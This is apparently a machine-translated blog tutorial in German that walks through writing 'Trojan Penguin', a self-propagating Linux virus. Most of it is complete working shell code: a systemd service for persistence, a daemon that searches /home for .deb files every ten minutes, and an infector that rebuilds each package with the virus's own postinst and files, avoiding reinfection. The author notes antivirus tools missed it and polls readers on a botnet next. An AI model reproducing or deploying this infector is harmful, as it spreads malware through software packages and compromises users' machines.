Trojan Penguin: Einen Virus für Linux erstellen

    Nein, ich werde nicht sagen, wie ich meine Ransomware Ransomware, Miner oder eine neue Sicherheitsanfälligkeit ausnutzen soll, wie Sie vielleicht denken. Und noch mehr, ich bin nicht bestrebt, die Holivar "Ist Linux sicherer als Windows? (Ja)" zu erwähnen. Mein Ziel war es, einen einfachen Virus für Linux zu schreiben, sozusagen "Just for Fun", dessen einzige Funktion darin besteht, seine Kopie zu verbreiten. Über das, was ich getan habe, werde ich in diesem Artikel berichten. Am Ende werde ich einen Link zu GitHub mit der Quelle geben.

    Bild

    Haftungsausschluss


    Dieser Artikel wurde zu Bildungszwecken verfasst. Der Autor ermutigt die Leser in keinem Fall, die Gesetze der Russischen Föderation zu verletzen. Bitte wiederholen Sie die in diesem Artikel beschriebenen Schritte nicht, ohne vorher Kapitel 28 des Strafgesetzbuchs gelesen zu haben.

    Und was machen wir eigentlich?


    Der einfachste Implementierungsmechanismus für die Verbreitung des Virus schien mir über modifizierte deb / rpm-Pakete verbreitet zu werden. Die Pakete deb und rpm sind jetzt das beliebteste Distributionstool für Linux. Ich habe mich für deb entschieden, da die Anzahl der Benutzer von Debian-basierten Distributionen gegenüber den Benutzern von Red Hat und seinen "Followern" überwiegt.

    Es ist auch notwendig, dass der Virus automatisch startet und nach einer bestimmten Zeit den Computer auf der Suche nach Deb-Paketen durchsucht. Um das Debuggen zu vereinfachen, habe ich einen Zeitraum von 10 Minuten gewählt.

    Was ist ein Deb-Paket?


    Das deb-Paket ist ein Archiv im .ar- Format , das keine Komprimierung verwendet. Im Archiv befinden sich drei weitere Dateien: debian-bynary , control.tar und data.tar

    debian.binary - eine Textdatei, die eine Version des Deb-Packet-Formats enthält. Momentan schreiben sie dort immer "2.0".

    control.tar - Archiv mit Dateien, die Informationen zum Paket enthalten (z. B. die erforderliche Steuerdatei), und Paketen, die für die Installation des Pakets erforderlich sind (z. B. Skripts vor, nach, nach und nach dem Installieren / Deinstallieren des Pakets). Sie kann mit gzip oder xz komprimiert werden. In diesem Fall wird die Erweiterung .gz oder .xz zum Archivnamen hinzugefügt.

    data.tar- Archiv mit Verzeichnissen mit installierten Dateien. Verzeichnisse werden durch einen Baum dargestellt, in dessen Form sie in das Stammverzeichnis des Dateisystems extrahiert werden sollen. Kann mit gzip, bzip2, lzma, xz komprimiert werden.

    Wir müssen auf die Kontrolldatei aus dem Archiv control.tar achten. Diese Datei enthält Informationen über das Paket, wie z. B. den Autor, die Beschreibung, die Version, die Paketpriorität im System usw. Ich interessiere mich für das abhängige Feld , das die Abhängigkeiten angibt (Pakete, ohne die es mit diesem Paket nicht funktionieren kann). In diesem Feld hängt unser Virus die Dienstprogramme fakeroot und dpkg an , die zum Ändern anderer Pakete auf dem infizierten Computer erforderlich sind.

    Um ein Deb-Paket zu erstellen, wird das Stammverzeichnis des Pakets erstellt. Verzeichnisse mit installierten Dateien und das DEBIAN-Verzeichnis mit Servicedateien, einschließlich Steuerelementen und Skripten für die Installation / Deinstallation, werden darin abgelegt. Dann wird der Befehl fakeroot dpkg-deb --build ./path ausgeführt .

    Zuerst war da ein Dämon


    Zum Zeitpunkt des Schreibens des Virus hatte ich immer noch eine schlechte Vorstellung davon, was Cron war , und schrieb daher meinen eigenen Daemon für systemd . Ich habe die Datei trojan_penguin.service erstellt, die im Verzeichnis / lib / systemd / system abgelegt wird, und Folgendes hinzugefügt:

    [Unit]
    Description = XXX
    [Service]
    ExecStart=/usr/bin/trojan_penguin.sh
    Type=fork
    [Install]
    WantedBy=multi-user.target
    

    ExecStart = / usr / bin / trojan_penguin.sh - hier habe ich den Pfad zur Datei (zum zukünftigen Virus) angegeben, die beim Systemstart gestartet werden soll.

    Typ = Verzweigung - Diese Zeile gibt an, dass der Prozess vom übergeordneten Prozess verzweigen soll.
    Ich sah keine Notwendigkeit für eine PID-Datei, deshalb habe ich sie nicht hinzugefügt.
    In den Handbüchern zum Schreiben Ihres eigenen Daemons wird vorgeschlagen, .service-Dateien in den Verzeichnissen / usr / lib / systemd / system / oder / etc / systemd / system / abzulegen. Aber in meinem Ubunt fand ich das Verzeichnis / lib / systemd / system. (Ich habe dort apache2.service). Vielleicht schreibt jemand in den Kommentaren, wofür dieses Verzeichnis ist und wie es sich von den anderen beiden unterscheidet.

    Die Datei /usr/bin/trojan_penguin.sh habe ich bekommen:

    #!/bin/bash
    #debug=".../Programming/projects/TrojanPenguin"
    debug=""
    #создаем папку для записи логов, если таковой нет
    if ! [ -d $debug/var/log/trojan_penguin/ ]; then 
     mkdir $debug/var/log/trojan_penguin
    fi
    #работаем в бесконечном цикле,
    #делая паузы по 10 минут
    while [ 1 ] 
    do
      list=$(find /home -name "*.deb") #ищем deb-пакеты
      # для каждого найденного пакета выполняем следующий цикл
      for line in $list
        do
          $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log
        done 
        date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки)
        sleep 600 #пауза (60 * 10 сек = 10 мин)
      done
    

    Wir suchen deb-Paket unter / home (und wo sie es nicht versuchen?), Der Weg zur gefundenen Datei wird in die Variable geschrieben Liste . Dann sortieren wir einfach alle Zeilen ab Zeile und führen das Skript tp_infect.sh für jede Datei aus, die diese Datei infiziert. Als ich den Virus schrieb, befanden sich die Skripte in einem separaten Verzeichnis, und der Einfachheit halber erstellte ich eine Debug- Variable, in die ich den Pfad zu diesem Ordner schrieb.

    Der Daemon ist bereit, es bleibt zu lernen, wie er ausgeführt wird, wenn das System gestartet wird. Zu diesem Zweck habe ich ein Postinstall- Skript geschrieben . Es wird sofort nach der Installation des infizierten Pakets gestartet und zeigt an, dass unser Virus mit dem System startet. Ich habe es in das Verzeichnis "/ usr / bin /" gelegt, um es von dort in die infizierten Pakete zu kopieren.

    #!/bin/bash
    #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin"
    debug=""
    systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать
    systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой
    systemctl start trojan_penguin.service #запускаем демон
    

    Ändern des Deb-Pakets


    Wie ich oben geschrieben habe, können Archive, die in einem deb-Paket enthalten sind, unterschiedliche Berechtigungen haben. Ich habe mich nicht darum gekümmert und nur den Fall berücksichtigt, wenn Archive mit .xz komprimiert werden. Die für die Änderung verantwortliche Datei /usr/bin/tp_infect.sh erhielt folgenden Inhalt:

    #!/bin/bash
    #debug=".../Programming/projects/TrojanPenguin"
    debug=""
    temp="$debug/tmp/trojan_penguin"
    #создаем временные папки
    mkdir $temp
    mkdir $temp/new
    mkdir $temp/new/DEBIAN
    #распакуем пакет
    ar -p $1 data.tar.xz | tar -xJ -C $temp/new
    ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/
    #отредактируем control
    #в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля.
    cp $temp/new/DEBIAN/control $temp/orig_control
    cat $temp/orig_control | grep  --before-context=100 Depends | grep -v  Depends > $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control
    echo ", fakeroot, python" >> $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  --after-context=100 Depends | grep -v  Depends >> $temp/new/DEBIAN/control
    #скормим пакету наш постинстал
    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst
    #достроим дерево с нужными нам директориями, если таковых нет
    if ! [ -d $temp/new/usr ];
    then
    	mkdir $temp/new/usr
    fi
    if ! [ -d $temp/new/usr/bin ];
    then
    	mkdir $temp/new/usr/bin
    fi
    if ! [ -d $temp/new/lib ];
    then
    	mkdir $temp/new/lib
    fi
    if ! [ -d $temp/new/lib/systemd ];
    then
    	mkdir $temp/new/lib/systemd
    fi
    if ! [ -d $temp/new/lib/systemd/system ];
    then
    	mkdir $temp/new/lib/systemd/system
    fi
    #копируем наши файлы
    cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh
    cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh
    cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh
    cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/
    #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали.
    fakeroot dpkg-deb --build $temp/new
    cp $temp/new.deb $1
    rm -R $temp
    

    Probleme mit der Nachinstallation


    Alles wäre gut, aber jetzt haben wir ein Problem. Aber was ist, wenn das Paket bereits postinstal hat? Das ursprüngliche Postinstal kann in verschiedenen Sprachen geschrieben werden (Python, Bash ...), vielleicht ist es sogar eine Binärdatei. Dies wird uns nicht erlauben, einfach unsere Postinstall zu nehmen und hinzuzufügen. Ich habe dieses Problem folgendermaßen gelöst: Folgendes wurde

    dem Skript tp_infect.sh hinzugefügt :

    #Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место.
    if [ -f $temp/new/usr/bin/postinst ];
    then
    	cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst
    fi
    

    Und im Postinstal ist dies:

    #выполняем оригинальный постинстал и удаляем его
    if [ -f $debug/usr/bin/tp_orig_postinst ]; then
    	$debug/usr/bin/tp_orig_postinst
    	rm $debug/usr/bin/tp_orig_postinst
    fi
    

    Ich habe ein Problem gelöst, aber ein anderes ist aufgetreten. Unser Virus ändert das Paket, auch wenn es bereits infiziert ist. Nach der Änderung erkennt der Virus, dass das Paket postinstal ist (was eigentlich unser ist). Verschieben Sie es nach / usr / bin / und überschreiben Sie das Original. Um dies zu vermeiden, habe ich "tp_infect.sh" überprüft, ob wir diese Datei geändert haben oder nicht:

    if [ -f $temp/new/usr/bin/trojan_penguin.sh ];
    then
    	rm -R $temp
    	exit 0
    fi
    

    Zusammensetzen


    Der Virus ist fertig. Hier ist ein Link zu GitHub , wie versprochen. Dieser Virus kann aus dem Repository in ein separates Deb-Paket kompiliert werden (führen Sie makedeb.sh aus). Führen Sie einfach den folgenden Befehl aus, um den Virus in ein beliebiges Paket einzuschleusen:

    tp_infect.sh /путь заражаемому deb-пакету/
    

    Es befinden sich zwei Kopien des Postinst- Skripts DEBIAN

    / postinst im Repository. Diese Kopie wird nur ausgeführt, wenn ein leeres Paket mit dem Virus installiert wird. Ich habe es auskommentiert, damit der Virus nach der Installation nicht startet und Pakete nur per Befehl ändert.

    usr / bin / postinst - Diese Kopie wird in die infizierten Pakete eingefügt.

    Zusammenfassung


    Auch ohne diesen Artikel liegt die Schlussfolgerung auf der Hand: Sie sollten keine Programme aus nicht überprüften Quellen herunterladen und ausführen.

    Der Neugier halber habe ich das Virus-Deb-Paket zur Analyse an VirusTotal gesendet. Zum Zeitpunkt des Schreibens hat kein einziges Antivirenprogramm dies erkannt. Hier ist der Link zum Bericht. Ich frage mich, wie viel Zeit vergehen soll und wie viele Hosts mit diesem Virus infiziert werden müssen, damit Antivirenprogramme darauf achten?

    Nur registrierte Benutzer können an der Umfrage teilnehmen. Bitte komm rein .

    Im Internet gibt es nur sehr wenige Informationen über Viren für Linux-Systeme und insbesondere für die Linux-Familie. Ich möchte dieses Thema auf Habré als eine Reihe von Artikeln entwickeln. Bitte beantworten Sie die Umfrage: Welches der Themen ist Ihrer Meinung nach am interessantesten?

    • 5,1% Erstellen eines Virus, der RPM-Pakete infiziert 8
    • 11% Erstellen eines Virus, der Benutzerdaten sammelt 17
    • 29,2% machen ein einfaches Botnetz 45
    • 23,3% Methoden zum Schutz vor Viren der Linux-Familie von OS 36
    • 9% Übersicht über Antiviren-Lösungen für die Linux-Familie von OS 14
    • 11,6% Übersicht über die wichtigsten Virenangriffe auf die Linux-Betriebssystemfamilie 18
    • 5,8% Beschränken Sie sich nicht auf Linux, sondern erweitern Sie dieses Thema auf UNIX 9
    • 4,5% Ich bin nicht an Viren für die Linux 7- Betriebssystemfamilie interessiert
    • 0% Eigene Option (Ich werde in den Kommentaren schreiben) 0

    Jetzt auch beliebt: